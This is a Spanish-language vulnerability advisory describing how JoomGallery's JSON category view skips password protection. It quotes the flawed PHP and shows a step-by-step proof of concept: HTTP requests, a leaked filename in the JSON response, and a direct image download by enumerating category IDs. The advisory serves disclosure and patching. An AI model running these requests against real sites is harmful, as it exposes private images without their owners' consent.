
Omisi?n de categoría protegida por contraseña mediante formato JSON en JoomGallery
JoomGallery ≤ 4.3.0-stable — Un atacante no autenticado omite la barrera de contraseña para descargar imágenes protegidas
Existe una omisión de control de acceso no autenticado en la vista JSON de categorías de JoomGallery. Cuando una categoría de galería está protegida con contraseña, la vista HTML aplica correctamente la barrera de contraseña, pero la vista JSON (format=json) omite esta comprobación por completo.
Un atacante remoto sin credenciales puede obtener el título, la descripción y los nombres de archivo aleatorizados de todas las imágenes protegidas de la categoría, y luego descargar esas imágenes directamente. La protección por contraseña se evade con una única petición HTTP.
La omisión se limita a las categorías cuyo nivel de acceso ACL de Joomla está establecido en Público (access=1). Las categorías restringidas al acceso Registrado o Especial siguen bloqueadas en la capa ACL en JsonView.php:69.
| COMPONENTE | VULNERABLE | PROBADO EN | CORREGIDO |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
Tipo: Control de acceso inadecuado (CWE-284)
Autenticación requerida: Ninguna — no autenticado, una única petición HTTP
Archivo: site/com_joomgallery/src/View/Category/JsonView.php, líneas 76–96
JoomGallery implementa la protección por contraseña para las categorías mediante un indicador pw_protected. Esta comprobación está presente en HtmlView.php pero completamente ausente en JsonView.php:
HTMLVIEW.PHP — CORRECTO (con protección presente)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — VULNERABLE (sin protección)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
El parámetro format=json de Joomla enruta la misma URL a una clase View separada. Cada View debe aplicar las comprobaciones de acceso de forma independiente: el framework no las propaga automáticamente. El desarrollador añadió la protección pw_protected a HtmlView pero la omitió en JsonView.
La protección por contraseña de JoomGallery se basa en mantener secretos los nombres de archivo de las imágenes; los archivos se almacenan como recursos estáticos en /images/joomgallery/originals/ y Apache los sirve directamente sin autenticación en el servidor. Los nombres de archivo se aleatorizan (p. ej., secret-image-1_20260803_1951053711.jpg) y solo se revelan después de superar la comprobación de contraseña a través de la capa PHP/Joomla. La omisión JSON rompe este modelo al revelar los nombres de archivo a solicitantes no autenticados, completando la cadena de ataque hasta la obtención total de las imágenes.
Configuración del laboratorio:
pw_protected=true, access=Público)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
Resultado: Se muestra el formulario de contraseña. No se ve ningún contenido de la categoría.

GET /index.php/gallery/categories/3-secret-gallery
Resultado: El acceso directo a la imagen está bloqueado dentro de la ruta Alias (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
Respuesta (HTTP 200, sin autenticación):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true confirma que la contraseña está establecida. A pesar de ello, la respuesta completa, incluido el nombre de archivo aleatorizado, se devuelve a un solicitante no autenticado.

Usando el nombre de archivo obtenido en el Paso 3
Resultado: HTTP 200: el archivo de imagen es devuelto directamente por Apache. No se requiere autenticación.

Cualquier categoría de galería que el administrador haya protegido con contraseña queda totalmente comprometida. El atacante solo necesita el ID numérico de la categoría, que es secuencial y trivialmente enumerable.